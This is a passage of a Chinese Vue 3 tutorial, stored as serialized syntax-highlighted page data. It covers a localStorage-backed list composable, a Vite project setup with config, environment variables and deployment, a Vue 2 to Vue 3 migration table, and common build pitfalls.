的列表。\n",[136,17251,17252,17254,17256,17258,17260],{"class":138,"line":220},[136,17253,11881],{"class":456},[136,17255,11884],{"class":232},[136,17257,12034],{"class":150},[136,17259,12037],{"class":142},[136,17261,12040],{"class":456},[136,17263,17264,17266,17268,17271,17274,17276,17279],{"class":138,"line":229},[136,17265,11881],{"class":456},[136,17267,11884],{"class":232},[136,17269,17270],{"class":150}," {Array}",[136,17272,17273],{"class":142}," [initial",[136,17275,154],{"class":232},[136,17277,17278],{"class":142},"[]]",[136,17280,17281],{"class":456}," 读不到数据时的初始值\n",[136,17283,17284,17286,17288,17291],{"class":138,"line":258},[136,17285,11881],{"class":456},[136,17287,11905],{"class":232},[136,17289,17290],{"class":150}," {import('vue').Ref\u003CArray>}",[136,17292,17293],{"class":456}," 响应式数组\n",[136,17295,17296],{"class":138,"line":267},[136,17297,11913],{"class":456},[136,17299,17300,17302,17304,17307,17309,17311,17313,17316,17318],{"class":138,"line":273},[136,17301,462],{"class":232},[136,17303,11920],{"class":232},[136,17305,17306],{"class":150}," usePersistentList",[136,17308,249],{"class":142},[136,17310,7727],{"class":703},[136,17312,4139],{"class":142},[136,17314,17315],{"class":703},"initial",[136,17317,240],{"class":232},[136,17319,17320],{"class":142}," []) {\n",[136,17322,17323,17325,17328,17330],{"class":138,"line":289},[136,17324,12084],{"class":232},[136,17326,17327],{"class":142}," start ",[136,17329,154],{"class":232},[136,17331,17332],{"class":142}," initial\n",[136,17334,17335,17337],{"class":138,"line":605},[136,17336,12097],{"class":232},[136,17338,468],{"class":142},[136,17340,17341,17344,17346,17348,17350,17352,17354,17356,17358],{"class":138,"line":2406},[136,17342,17343],{"class":232},"    const",[136,17345,3550],{"class":236},[136,17347,240],{"class":232},[136,17349,3591],{"class":236},[136,17351,3594],{"class":142},[136,17353,3597],{"class":150},[136,17355,12111],{"class":142},[136,17357,12114],{"class":150},[136,17359,17360],{"class":142},"(key))\n",[136,17362,17363,17366,17369,17372,17375,17377],{"class":138,"line":2415},[136,17364,17365],{"class":232},"    if",[136,17367,17368],{"class":142}," (Array.",[136,17370,17371],{"class":150},"isArray",[136,17373,17374],{"class":142},"(raw)) start ",[136,17376,154],{"class":232},[136,17378,17379],{"class":142}," raw\n",[136,17381,17382,17385,17387,17389,17392],{"class":138,"line":4546},[136,17383,17384],{"class":142},"  } ",[136,17386,12126],{"class":232},[136,17388,2523],{"class":142},[136,17390,17391],{"class":456},"\u002F* 脏数据：安静回落到初始值 *\u002F",[136,17393,4346],{"class":142},[136,17395,17396,17398,17400,17402,17404],{"class":138,"line":4558},[136,17397,4675],{"class":232},[136,17399,4058],{"class":236},[136,17401,240],{"class":232},[136,17403,346],{"class":150},[136,17405,17406],{"class":142},"(start)\n",[136,17408,17409,17411,17414,17416,17418,17420],{"class":138,"line":4563},[136,17410,12152],{"class":150},[136,17412,17413],{"class":142},"(list, (",[136,17415,4316],{"class":703},[136,17417,707],{"class":142},[136,17419,593],{"class":232},[136,17421,468],{"class":142},[136,17423,17424,17426,17428,17430,17432,17434,17436,17438,17440,17442,17444,17446,17448,17451],{"class":138,"line":4569},[136,17425,12168],{"class":232},[136,17427,12171],{"class":142},[136,17429,12174],{"class":150},[136,17431,12177],{"class":142},[136,17433,1532],{"class":236},[136,17435,3594],{"class":142},[136,17437,3606],{"class":150},[136,17439,12186],{"class":142},[136,17441,12126],{"class":232},[136,17443,12191],{"class":142},[136,17445,12194],{"class":150},[136,17447,249],{"class":142},[136,17449,17450],{"class":157},"'写入失败'",[136,17452,12202],{"class":142},[136,17454,17455,17457,17459],{"class":138,"line":4585},[136,17456,12207],{"class":142},[136,17458,4532],{"class":236},[136,17460,4437],{"class":142},[136,17462,17463,17465],{"class":138,"line":4591},[136,17464,11955],{"class":232},[136,17466,17467],{"class":142}," list\n",[136,17469,17470],{"class":138,"line":6085},[136,17471,538],{"class":142},[10,17473,17474,17475,849],{},"组件里就剩一行：",[22,17476,17477],{},"const storage = usePersistentList('vue3-todo')",[119,17479,17480],{"id":17480},"这一路做出来的检查点",[53,17482,17483,17493],{},[56,17484,17485],{},[59,17486,17487,17490],{},[62,17488,17489],{},"检查项",[62,17491,17492],{},"对应章节",[72,17494,17495,17506,17516,17527,17539,17547,17555,17566],{},[59,17496,17497,17503],{},[77,17498,17499,17500,17502],{},"列表有稳定 ",[22,17501,10690],{},"，切换筛选不串行",[77,17504,17505],{},"第十一章",[59,17507,17508,17513],{},[77,17509,17510,17511],{},"数据源只有一份，统计\u002F筛选是 ",[22,17512,428],{},[77,17514,17515],{},"第五章",[59,17517,17518,17524],{},[77,17519,17520,17521,17523],{},"子组件不改 props，改动通过 ",[22,17522,4753],{}," 交回父级",[77,17525,17526],{},"第九章",[59,17528,17529,17537],{},[77,17530,17531,17532,17534,17535],{},"表单用 ",[22,17533,6115],{},"，辅助按钮写 ",[22,17536,6290],{},[77,17538,1957],{},[59,17540,17541,17544],{},[77,17542,17543],{},"空输入、空白字符、重复项在服务端和客户端都挡",[77,17545,17546],{},"第二章、第六章",[59,17548,17549,17552],{},[77,17550,17551],{},"卸载时清理定时器\u002F监听",[77,17553,17554],{},"第十二章",[59,17556,17557,17564],{},[77,17558,17559,17560,17563],{},"localStorage 读写包 ",[22,17561,17562],{},"try\u002Fcatch","（隐私模式会抛异常）",[77,17565,8993],{},[59,17567,17568,17577],{},[77,17569,17570,17571,6759,17573,17576],{},"每个输入框有 ",[22,17572,6041],{},[22,17574,17575],{},"aria-label","，按钮有可见焦点",[77,17578,17579],{},"第七章",[801,17581],{"height":14009,"src":17582,"title":17583},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F17-todo-app.html","示例 17：待办清单完整实现（增删改查 + 筛选 + 本地持久化）",[10,17585,17586,17587,2590,17589,17592,17593,17596,17597,17600,17601,17607],{},"示例 17 的数据落在 ",[22,17588,1557],{},[22,17590,17591],{},"vue3-todo"," 键上。注意：站点里的预览是",[17,17594,17595],{},"沙箱 iframe","（不给 ",[22,17598,17599],{},"allow-same-origin","），存储被浏览器隔离，所以要看「刷新还在」的效果请点示例右上角的「在新标签页打开」；在沙箱里它会自动降级成内存存储并在迷你控制台说明一句——这本身也是一条真实世界的经验：",[17,17602,17603,17604,17606],{},"永远不要假设 ",[22,17605,1557],{}," 可用","（无痕模式、iframe、隐私扩展都会禁用它）。",[35,17609,17611],{"id":17610},"十八工程化把这些语法装进一个可维护的项目","十八、工程化：把这些语法装进一个可维护的项目",[10,17613,17614,17615,17617,17618,17621],{},"前面各章的示例都是「一个 ",[22,17616,24],{}," 标签」跑起来的。真实项目要的是：",[17,17619,17620],{},"能拆文件、能装依赖、能构建、能部署","。这一章把 Vite + 单文件组件这一层补齐，也是从「会写 Vue」跨到「能用 Vue 做项目」的那一步。",[119,17623,17625],{"id":17624},"建项目两条路","建项目：两条路",[127,17627,17629],{"className":13330,"code":17628,"language":13332,"meta":132,"style":132},"# ① 官方脚手架（交互式，能选 Router \u002F Pinia \u002F TS \u002F ESLint \u002F Vitest）\nnpm create vue@latest my-app\ncd my-app && npm install && npm run dev\n\n# ② 裸 Vite + Vue 插件（想要极简时）\nnpm create vite@latest my-app -- --template vue\n",[22,17630,17631,17636,17649,17674,17678,17683],{"__ignoreMap":132},[136,17632,17633],{"class":138,"line":139},[136,17634,17635],{"class":456},"# ① 官方脚手架（交互式，能选 Router \u002F Pinia \u002F TS \u002F ESLint \u002F Vitest）\n",[136,17637,17638,17640,17643,17646],{"class":138,"line":169},[136,17639,13339],{"class":150},[136,17641,17642],{"class":157}," create",[136,17644,17645],{"class":157}," vue@latest",[136,17647,17648],{"class":157}," my-app\n",[136,17650,17651,17654,17657,17660,17662,17664,17666,17668,17671],{"class":138,"line":176},[136,17652,17653],{"class":236},"cd",[136,17655,17656],{"class":157}," my-app",[136,17658,17659],{"class":142}," && ",[136,17661,13339],{"class":150},[136,17663,13342],{"class":157},[136,17665,17659],{"class":142},[136,17667,13339],{"class":150},[136,17669,17670],{"class":157}," run",[136,17672,17673],{"class":157}," dev\n",[136,17675,17676],{"class":138,"line":199},[136,17677,173],{"emptyLinePlaceholder":172},[136,17679,17680],{"class":138,"line":208},[136,17681,17682],{"class":456},"# ② 裸 Vite + Vue 插件（想要极简时）\n",[136,17684,17685,17687,17689,17692,17694,17697,17700],{"class":138,"line":220},[136,17686,13339],{"class":150},[136,17688,17642],{"class":157},[136,17690,17691],{"class":157}," vite@latest",[136,17693,17656],{"class":157},[136,17695,17696],{"class":236}," --",[136,17698,17699],{"class":236}," --template",[136,17701,17702],{"class":157}," vue\n",[10,17704,17705,17707,17708,17711,17712,1403,17715,17718,17719,849],{},[22,17706,99],{}," 生成的骨架里，",[22,17709,17710],{},"src\u002Fmain.js"," 负责 ",[22,17713,17714],{},"createApp(App).use(router).use(createPinia()).mount('#app')",[22,17716,17717],{},"src\u002FApp.vue"," 是根组件——",[17,17720,17721,17722,17725],{},"这就是你在示例里写的 ",[22,17723,17724],{},"createApp(...).mount('#app')","，只是被搬进了文件",[10,17727,17728],{},"目录约定（Vite + Vue 社区常见形状）：",[127,17730,17734],{"className":17731,"code":17733,"language":15676},[17732],"language-text","my-app\u002F\n├── index.html            Vite 的入口 HTML（里面有 \u003Cdiv id=\"app\">）\n├── vite.config.js        构建配置（插件、别名、base、代理）\n├── public\u002F               原样拷贝进产物，不参与打包\n└── src\u002F\n    ├── main.js           应用入口\n    ├── App.vue           根组件\n    ├── assets\u002F           需要被打包的资源（图片、字体、CSS）\n    ├── components\u002F       可复用组件\n    ├── views\u002F            路由页面级组件\n    ├── composables\u002F      useXxx 组合式函数（第十三章）\n    ├── stores\u002F           Pinia（第十五章）\n    ├── router\u002F           Vue Router（第十六章）\n    └── utils\u002F            纯函数工具\n",[22,17735,17733],{"__ignoreMap":132},[10,17737,17738,17739,1442,17742,17745,17746,849],{},"Nuxt 项目结构不一样（",[22,17740,17741],{},"app\u002Fpages",[22,17743,17744],{},"server\u002Fapi","、自动导入），那是姊妹篇《Nuxt 教程》的内容——",[17,17747,17748],{},"语法同源，工程外壳不同",[119,17750,17751],{"id":17751},"单文件组件的三块",[127,17753,17755],{"className":305,"code":17754,"language":307,"meta":132,"style":132},"\u003Cscript setup>\n\u002F* 逻辑：组合式 API 写在这里，顶层声明的东西模板直接可用 *\u002F\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003C!-- 结构：只允许一个根节点吗？不必，Vue 3 支持多根（fragment），但要注意 attrs 继承（第七章） -->\n\u003C\u002Ftemplate>\n\n\u003Cstyle scoped>\n\u002F* 样式：scoped 给这个组件的类名加哈希，不会污染全局 *\u002F\n.box { border: 1px solid #ddd; }\n:deep(.el-input__inner) { background: transparent; }   \u002F* 穿透到子组件\u002F第三方组件内部 *\u002F\n\u003C\u002Fstyle>\n",[22,17756,17757,17767,17772,17780,17784,17792,17797,17805,17809,17820,17825,17848,17872],{"__ignoreMap":132},[136,17758,17759,17761,17763,17765],{"class":138,"line":139},[136,17760,143],{"class":142},[136,17762,181],{"class":146},[136,17764,318],{"class":150},[136,17766,166],{"class":142},[136,17768,17769],{"class":138,"line":169},[136,17770,17771],{"class":456},"\u002F* 逻辑：组合式 API 写在这里，顶层声明的东西模板直接可用 *\u002F\n",[136,17773,17774,17776,17778],{"class":138,"line":176},[136,17775,292],{"class":142},[136,17777,181],{"class":146},[136,17779,166],{"class":142},[136,17781,17782],{"class":138,"line":199},[136,17783,173],{"emptyLinePlaceholder":172},[136,17785,17786,17788,17790],{"class":138,"line":208},[136,17787,143],{"class":142},[136,17789,371],{"class":146},[136,17791,166],{"class":142},[136,17793,17794],{"class":138,"line":220},[136,17795,17796],{"class":456},"  \u003C!-- 结构：只允许一个根节点吗？不必，Vue 3 支持多根（fragment），但要注意 attrs 继承（第七章） -->\n",[136,17798,17799,17801,17803],{"class":138,"line":229},[136,17800,292],{"class":142},[136,17802,371],{"class":146},[136,17804,166],{"class":142},[136,17806,17807],{"class":138,"line":258},[136,17808,173],{"emptyLinePlaceholder":172},[136,17810,17811,17813,17815,17818],{"class":138,"line":267},[136,17812,143],{"class":142},[136,17814,2692],{"class":146},[136,17816,17817],{"class":150}," scoped",[136,17819,166],{"class":142},[136,17821,17822],{"class":138,"line":273},[136,17823,17824],{"class":456},"\u002F* 样式：scoped 给这个组件的类名加哈希，不会污染全局 *\u002F\n",[136,17826,17827,17830,17832,17834,17836,17838,17840,17842,17845],{"class":138,"line":289},[136,17828,17829],{"class":150},".box",[136,17831,2523],{"class":142},[136,17833,6722],{"class":236},[136,17835,6725],{"class":142},[136,17837,3360],{"class":236},[136,17839,6731],{"class":232},[136,17841,6734],{"class":236},[136,17843,17844],{"class":236}," #ddd",[136,17846,17847],{"class":142},"; }\n",[136,17849,17850,17853,17856,17858,17861,17863,17866,17869],{"class":138,"line":605},[136,17851,17852],{"class":142},":deep(",[136,17854,17855],{"class":150},".el-input__inner",[136,17857,13796],{"class":142},[136,17859,17860],{"class":236},"background",[136,17862,6725],{"class":142},[136,17864,17865],{"class":236},"transparent",[136,17867,17868],{"class":142},"; }   ",[136,17870,17871],{"class":456},"\u002F* 穿透到子组件\u002F第三方组件内部 *\u002F\n",[136,17873,17874,17876,17878],{"class":138,"line":2406},[136,17875,292],{"class":142},[136,17877,2692],{"class":146},[136,17879,166],{"class":142},[10,17881,17882,17885,17886,17892],{},[22,17883,17884],{},"scoped"," 不是 CSS Modules，它只是加了属性选择器；",[17,17887,17888,17889],{},"第三方组件内部的样式还得靠 ",[22,17890,17891],{},":deep()","（这是「我的样式怎么不生效」的高频答案）。",[119,17894,17896],{"id":17895},"别名代理与构建配置","别名、代理与构建配置",[127,17898,17900],{"className":447,"code":17899,"language":449,"meta":132,"style":132},"\u002F\u002F vite.config.js\nimport { fileURLToPath, URL } from 'node:url'\nimport { defineConfig } from 'vite'\nimport vue from '@vitejs\u002Fplugin-vue'\n\nexport default defineConfig({\n  plugins: [vue()],\n  resolve: {\n    alias: { '@': fileURLToPath(new URL('.\u002Fsrc', import.meta.url)) }   \u002F\u002F import '@\u002Fstores\u002Fuser'\n  },\n  server: {\n    proxy: { '\u002Fapi': { target: 'http:\u002F\u002Flocalhost:8080', changeOrigin: true } }  \u002F\u002F 开发期跨域\n  },\n  base: '\u002Fshop\u002F'    \u002F\u002F 部署在子路径时必须设置，否则资源 404\n})\n",[22,17901,17902,17907,17919,17931,17943,17947,17958,17968,17973,18013,18017,18022,18047,18051,18062],{"__ignoreMap":132},[136,17903,17904],{"class":138,"line":139},[136,17905,17906],{"class":456},"\u002F\u002F vite.config.js\n",[136,17908,17909,17911,17914,17916],{"class":138,"line":169},[136,17910,325],{"class":232},[136,17912,17913],{"class":142}," { fileURLToPath, URL } ",[136,17915,331],{"class":232},[136,17917,17918],{"class":157}," 'node:url'\n",[136,17920,17921,17923,17926,17928],{"class":138,"line":176},[136,17922,325],{"class":232},[136,17924,17925],{"class":142}," { defineConfig } ",[136,17927,331],{"class":232},[136,17929,17930],{"class":157}," 'vite'\n",[136,17932,17933,17935,17938,17940],{"class":138,"line":199},[136,17934,325],{"class":232},[136,17936,17937],{"class":142}," vue ",[136,17939,331],{"class":232},[136,17941,17942],{"class":157}," '@vitejs\u002Fplugin-vue'\n",[136,17944,17945],{"class":138,"line":208},[136,17946,173],{"emptyLinePlaceholder":172},[136,17948,17949,17951,17953,17956],{"class":138,"line":220},[136,17950,462],{"class":232},[136,17952,465],{"class":232},[136,17954,17955],{"class":150}," defineConfig",[136,17957,217],{"class":142},[136,17959,17960,17963,17965],{"class":138,"line":229},[136,17961,17962],{"class":142},"  plugins: [",[136,17964,307],{"class":150},[136,17966,17967],{"class":142},"()],\n",[136,17969,17970],{"class":138,"line":258},[136,17971,17972],{"class":142},"  resolve: {\n",[136,17974,17975,17978,17981,17983,17986,17988,17991,17994,17996,17999,18001,18003,18005,18007,18010],{"class":138,"line":267},[136,17976,17977],{"class":142},"    alias: { ",[136,17979,17980],{"class":157},"'@'",[136,17982,6725],{"class":142},[136,17984,17985],{"class":150},"fileURLToPath",[136,17987,249],{"class":142},[136,17989,17990],{"class":232},"new",[136,17992,17993],{"class":150}," URL",[136,17995,249],{"class":142},[136,17997,17998],{"class":157},"'.\u002Fsrc'",[136,18000,4139],{"class":142},[136,18002,325],{"class":232},[136,18004,3594],{"class":142},[136,18006,15159],{"class":236},[136,18008,18009],{"class":142},".url)) }   ",[136,18011,18012],{"class":456},"\u002F\u002F import '@\u002Fstores\u002Fuser'\n",[136,18014,18015],{"class":138,"line":273},[136,18016,14484],{"class":142},[136,18018,18019],{"class":138,"line":289},[136,18020,18021],{"class":142},"  server: {\n",[136,18023,18024,18027,18030,18033,18036,18039,18041,18044],{"class":138,"line":605},[136,18025,18026],{"class":142},"    proxy: { ",[136,18028,18029],{"class":157},"'\u002Fapi'",[136,18031,18032],{"class":142},": { target: ",[136,18034,18035],{"class":157},"'http:\u002F\u002Flocalhost:8080'",[136,18037,18038],{"class":142},", changeOrigin: ",[136,18040,4532],{"class":236},[136,18042,18043],{"class":142}," } }  ",[136,18045,18046],{"class":456},"\u002F\u002F 开发期跨域\n",[136,18048,18049],{"class":138,"line":2406},[136,18050,14484],{"class":142},[136,18052,18053,18056,18059],{"class":138,"line":2415},[136,18054,18055],{"class":142},"  base: ",[136,18057,18058],{"class":157},"'\u002Fshop\u002F'",[136,18060,18061],{"class":456},"    \u002F\u002F 部署在子路径时必须设置，否则资源 404\n",[136,18063,18064],{"class":138,"line":4546},[136,18065,2502],{"class":142},[10,18067,18068,18070,18071,18074,18075,18078,18079,18082,18083,18086],{},[22,18069,15306],{}," 这一行是「本地正常、上线白屏」的第一嫌疑人。站点挂在 ",[22,18072,18073],{},"https:\u002F\u002Fsite.com\u002Fshop\u002F"," 下却没配 ",[22,18076,18077],{},"base: '\u002Fshop\u002F'","，产物里的 ",[22,18080,18081],{},"\u003Cscript src=\"\u002Fassets\u002Findex-xxx.js\">"," 就会指到根路径去要文件（示例 08 的部署检查器就是为这个坑做的）。同时用 history 路由的话，",[22,18084,18085],{},"createWebHistory('\u002Fshop\u002F')"," 的 base 要和它保持一致。",[119,18088,18090,18091,18094],{"id":18089},"环境变量只有-vite_-开头的才会进前端","环境变量：只有 ",[22,18092,18093],{},"VITE_"," 开头的才会进前端",[127,18096,18098],{"className":13330,"code":18097,"language":13332,"meta":132,"style":132},"# .env.development\nVITE_API_BASE=http:\u002F\u002Flocalhost:8080\u002Fapi\nVITE_APP_TITLE=本地调试\n",[22,18099,18100,18105,18115],{"__ignoreMap":132},[136,18101,18102],{"class":138,"line":139},[136,18103,18104],{"class":456},"# .env.development\n",[136,18106,18107,18110,18112],{"class":138,"line":169},[136,18108,18109],{"class":142},"VITE_API_BASE",[136,18111,154],{"class":232},[136,18113,18114],{"class":157},"http:\u002F\u002Flocalhost:8080\u002Fapi\n",[136,18116,18117,18120,18122],{"class":138,"line":176},[136,18118,18119],{"class":142},"VITE_APP_TITLE",[136,18121,154],{"class":232},[136,18123,18124],{"class":157},"本地调试\n",[127,18126,18128],{"className":447,"code":18127,"language":449,"meta":132,"style":132},"const base = import.meta.env.VITE_API_BASE\nconsole.log(import.meta.env.MODE, import.meta.env.DEV, import.meta.env.PROD)\n",[22,18129,18130,18151],{"__ignoreMap":132},[136,18131,18132,18134,18137,18139,18141,18143,18145,18148],{"class":138,"line":139},[136,18133,339],{"class":232},[136,18135,18136],{"class":236}," base",[136,18138,240],{"class":232},[136,18140,12927],{"class":232},[136,18142,3594],{"class":142},[136,18144,15159],{"class":236},[136,18146,18147],{"class":142},".env.",[136,18149,18150],{"class":236},"VITE_API_BASE\n",[136,18152,18153,18155,18157,18159,18161,18163,18165,18167,18170,18172,18174,18176,18178,18180,18183,18185,18187,18189,18191,18193,18196],{"class":138,"line":169},[136,18154,10766],{"class":142},[136,18156,525],{"class":150},[136,18158,249],{"class":142},[136,18160,325],{"class":232},[136,18162,3594],{"class":142},[136,18164,15159],{"class":236},[136,18166,18147],{"class":142},[136,18168,18169],{"class":236},"MODE",[136,18171,4139],{"class":142},[136,18173,325],{"class":232},[136,18175,3594],{"class":142},[136,18177,15159],{"class":236},[136,18179,18147],{"class":142},[136,18181,18182],{"class":236},"DEV",[136,18184,4139],{"class":142},[136,18186,325],{"class":232},[136,18188,3594],{"class":142},[136,18190,15159],{"class":236},[136,18192,18147],{"class":142},[136,18194,18195],{"class":236},"PROD",[136,18197,255],{"class":142},[10,18199,18200,18203,18204,18207,18208,18211,18212,862,18214,18217],{},[22,18201,18202],{},".env"," 里的值会被",[17,18205,18206],{},"编译进产物","——任何人 ",[22,18209,18210],{},"Ctrl+U"," 查看源码就能拿到。后端密钥、数据库连接串绝对不能放这里；要放就放到服务端（Nuxt 的 ",[22,18213,17744],{},[22,18215,18216],{},"runtimeConfig"," 是标准做法）。",[119,18219,18221],{"id":18220},"typescript值不值","TypeScript：值不值",[10,18223,18224,18225,18228,18229,849],{},"值，但建议第二步再上。Vue 3 对 TS 的支持很好（",[22,18226,18227],{},"defineProps\u003C{}>()"," 泛型写法、模板类型检查），代价是学习曲线叠加。折中路线：先写 JS + JSDoc 注释（本项目的 composable 就是这么写的），需要时再把关键模块换成 ",[22,18230,18231],{},".ts",[127,18233,18235],{"className":13330,"code":18234,"language":13332,"meta":132,"style":132},"npm i -D typescript vue-tsc\nnpx vue-tsc --noEmit      # 类型检查（vue-tsc 才认得 .vue 文件）\n",[22,18236,18237,18253],{"__ignoreMap":132},[136,18238,18239,18241,18244,18247,18250],{"class":138,"line":139},[136,18240,13339],{"class":150},[136,18242,18243],{"class":157}," i",[136,18245,18246],{"class":236}," -D",[136,18248,18249],{"class":157}," typescript",[136,18251,18252],{"class":157}," vue-tsc\n",[136,18254,18255,18258,18261,18264],{"class":138,"line":169},[136,18256,18257],{"class":150},"npx",[136,18259,18260],{"class":157}," vue-tsc",[136,18262,18263],{"class":236}," --noEmit",[136,18265,18266],{"class":456},"      # 类型检查（vue-tsc 才认得 .vue 文件）\n",[119,18268,18269],{"id":18269},"部署与调试",[127,18271,18273],{"className":13330,"code":18272,"language":13332,"meta":132,"style":132},"npm run build       # 产物在 dist\u002F\nnpm run preview     # 本地按生产方式跑一遍，上线前必做\n",[22,18274,18275,18287],{"__ignoreMap":132},[136,18276,18277,18279,18281,18284],{"class":138,"line":139},[136,18278,13339],{"class":150},[136,18280,17670],{"class":157},[136,18282,18283],{"class":157}," build",[136,18285,18286],{"class":456},"       # 产物在 dist\u002F\n",[136,18288,18289,18291,18293,18296],{"class":138,"line":169},[136,18290,13339],{"class":150},[136,18292,17670],{"class":157},[136,18294,18295],{"class":157}," preview",[136,18297,18298],{"class":456},"     # 本地按生产方式跑一遍，上线前必做\n",[1377,18300,18301,18317,18327,18333],{},[1380,18302,18303,18313,18314,18316],{},[17,18304,18305,18308,18309,18312],{},[22,18306,18307],{},"npm run dev"," 正常但 ",[22,18310,18311],{},"build"," 后白屏","：99% 是 ",[22,18315,15306],{}," 或 history fallback 的问题（上一节）。",[1380,18318,18319,18322,18323,18326],{},[17,18320,18321],{},"上线后没有警告","：生产构建剥掉了 props 校验、路由警告。上线前一定 ",[22,18324,18325],{},"npm run build && npm run preview"," 走一遍。",[1380,18328,18329,18332],{},[17,18330,18331],{},"Vue Devtools","：浏览器扩展，能看到组件树、响应式数据、Pinia、路由器。装好后组件里会多一个「检查」按钮。",[1380,18334,18335,1413,18338,18341],{},[17,18336,18337],{},"打包体积",[22,18339,18340],{},"rollup-plugin-visualizer"," 看谁占大头；路由级懒加载（第十六章）通常是最有效的一刀。",[119,18343,18345],{"id":18344},"vue-2-vue-3-迁移对照读老代码用","Vue 2 → Vue 3 迁移对照（读老代码用）",[53,18347,18348,18361],{},[56,18349,18350],{},[59,18351,18352,18355,18358],{},[62,18353,18354],{},"主题",[62,18356,18357],{},"Vue 2",[62,18359,18360],{},"Vue 3",[72,18362,18363,18378,18392,18403,18421,18434,18447,18467,18481,18495,18523,18539,18558,18577],{},[59,18364,18365,18368,18373],{},[77,18366,18367],{},"创建实例",[77,18369,18370],{},[22,18371,18372],{},"new Vue({ render })",[77,18374,18375],{},[22,18376,18377],{},"createApp(App).mount('#el')",[59,18379,18380,18382,18387],{},[77,18381,7288],{},[77,18383,18384],{},[22,18385,18386],{},"Vue.component",[77,18388,18389,18391],{},[22,18390,795],{},"（作用域只在某个 app）",[59,18393,18394,18397,18400],{},[77,18395,18396],{},"组件根节点",[77,18398,18399],{},"必须单根",[77,18401,18402],{},"允许多根（fragment）",[59,18404,18405,18408,18413],{},[77,18406,18407],{},"v-model 自定义",[77,18409,18410],{},[22,18411,18412],{},"model: { prop, event }",[77,18414,18415,862,18417,8881,18419],{},[22,18416,5478],{},[22,18418,5481],{},[22,18420,8977],{},[59,18422,18423,18426,18431],{},[77,18424,18425],{},"事件总线",[77,18427,18428],{},[22,18429,18430],{},"$on\u002F$off\u002F$once",[77,18432,18433],{},"已移除，用 mitt 或 store",[59,18435,18436,18439,18444],{},[77,18437,18438],{},"过滤器",[77,18440,18441],{},[22,18442,18443],{},"{{ x | f }}",[77,18445,18446],{},"已移除，用 computed\u002F方法",[59,18448,18449,18452,18460],{},[77,18450,18451],{},"生命周期",[77,18453,18454,422,18457],{},[22,18455,18456],{},"beforeDestroy",[22,18458,18459],{},"destroyed",[77,18461,18462,422,18465],{},[22,18463,18464],{},"beforeUnmount",[22,18466,2599],{},[59,18468,18469,18472,18477],{},[77,18470,18471],{},"逻辑复用",[77,18473,18474],{},[22,18475,18476],{},"mixins",[77,18478,12540,18479],{},[22,18480,11842],{},[59,18482,18483,18486,18492],{},[77,18484,18485],{},"响应式限制",[77,18487,18488,18489],{},"新增属性要 ",[22,18490,18491],{},"Vue.set",[77,18493,18494],{},"Proxy，直接赋值即可",[59,18496,18497,18500,18511],{},[77,18498,18499],{},"指令钩子名",[77,18501,18502,422,18505,422,18508],{},[22,18503,18504],{},"bind",[22,18506,18507],{},"inserted",[22,18509,18510],{},"componentUpdated",[77,18512,18513,422,18515,422,18517,422,18519,422,18521],{},[22,18514,10906],{},[22,18516,431],{},[22,18518,2585],{},[22,18520,18464],{},[22,18522,2599],{},[59,18524,18525,18527,18534],{},[77,18526,1962],{},[77,18528,18529,422,18532],{},[22,18530,18531],{},"slot=\"x\"",[22,18533,9591],{},[77,18535,18536],{},[22,18537,18538],{},"\u003Ctemplate #x=\"{ data }\">",[59,18540,18541,18543,18551],{},[77,18542,2962],{},[77,18544,18545,1442,18548],{},[22,18546,18547],{},".native",[22,18549,18550],{},".sync",[77,18552,18553,18554,15030,18556,3039],{},"都已移除（",[22,18555,18550],{},[22,18557,8977],{},[59,18559,18560,18565,18571],{},[77,18561,18562,18564],{},[22,18563,7727],{}," 位置",[77,18566,18567,18570],{},[22,18568,18569],{},"\u003Ctemplate v-for>"," 不支持 key",[77,18572,18573,18576],{},[22,18574,18575],{},"\u003Ctemplate v-for :key>"," 合法",[59,18578,18579,18582,18590],{},[77,18580,18581],{},"CSS 作用域",[77,18583,18584,1442,18587],{},[22,18585,18586],{},"\u002Fdeep\u002F",[22,18588,18589],{},">>>",[77,18591,18592],{},[22,18593,17891],{},[801,18595],{"height":6126,"src":18596,"title":18597},"\u002Ftutorials\u002Fnuxt\u002Fdemos\u002F08-deploy-check.html","跨课示例（Nuxt 教程 示例 08）：base 与部署子路径的资源路径检查器",[119,18599,816],{"id":18600},"️-本章的坑-16",[10,18602,18603,822,18606,18609,18610],{},[17,18604,18605],{},"1. 大小写敏感只在 Linux 上出现。",[22,18607,18608],{},"import TodoItem from '.\u002Fcomponents\u002Ftodointerface.vue'"," 在 Windows\u002FmacOS 能跑，CI（Linux）直接构建失败。",[17,18611,18612],{},"文件路径一律与真实文件名逐字符一致。",[10,18614,18615,822,18621,18623,18624,18627],{},[17,18616,18617,18618,849],{},"2. 忘了装 ",[22,18619,18620],{},"@vitejs\u002Fplugin-vue",[22,18622,28],{}," 文件被当普通文本，报错内容通常是 ",[22,18625,18626],{},"Unexpected token '\u003C'","。模板里选了 vue 却没装插件（或自己接 Vite 时漏配）都会这样。",[10,18629,18630,3721,18635,18638,18639,18641],{},[17,18631,878,18632,18634],{},[22,18633,15306],{}," 与路由 history base 不一致。",[22,18636,18637],{},"\u002Fshop\u002F","、一个 ",[22,18640,1452],{},"，表现是「资源能加载但路由一跳就跑出子目录」，或者反过来。两处一起改。",[10,18643,18644,822,18650,18653,18654,18656],{},[17,18645,18646,18647,18649],{},"4. 环境变量没加 ",[22,18648,18093],{}," 前缀。",[22,18651,18652],{},"API_BASE=xxx"," 在前端读出来是 ",[22,18655,1734],{},"（Vite 有意不暴露），别怀疑是 Vue 的锅。",[10,18658,18659,18665,18666,18668,18669,1403,18672,18675],{},[17,18660,18661,18662,18664],{},"5. 把 ",[22,18663,18202],{}," 提交进仓库。"," 里面有生产接口地址、埋点 key 都会被打包出去。",[22,18667,18202],{}," 进 ",[22,18670,18671],{},".gitignore",[22,18673,18674],{},".env.example"," 出模板。",[10,18677,18678,12435,18683,18686],{},[17,18679,930,18680,18682],{},[22,18681,17884],{}," 里改第三方组件样式没生效。",[22,18684,18685],{},":deep(.xxx)","，或者干脆给组件传 class 让库自己处理。",[10,18688,18689,18692,18693,18696,18697,18700,18701,18704],{},[17,18690,18691],{},"7. dev 环境跨域正常，生产 404。"," 开发期靠 ",[22,18694,18695],{},"server.proxy"," 骗过了同源限制，线上必须由 nginx\u002F网关反代同一 ",[22,18698,18699],{},"\u002Fapi"," 前缀。上线前用 ",[22,18702,18703],{},"npm run preview"," + 真实反代验证。",[10,18706,18707,18716],{},[17,18708,18709,18710,18713,18714,849],{},"8. 一次改完就 ",[22,18711,18712],{},"git commit"," 没跑 ",[22,18715,18311],{}," 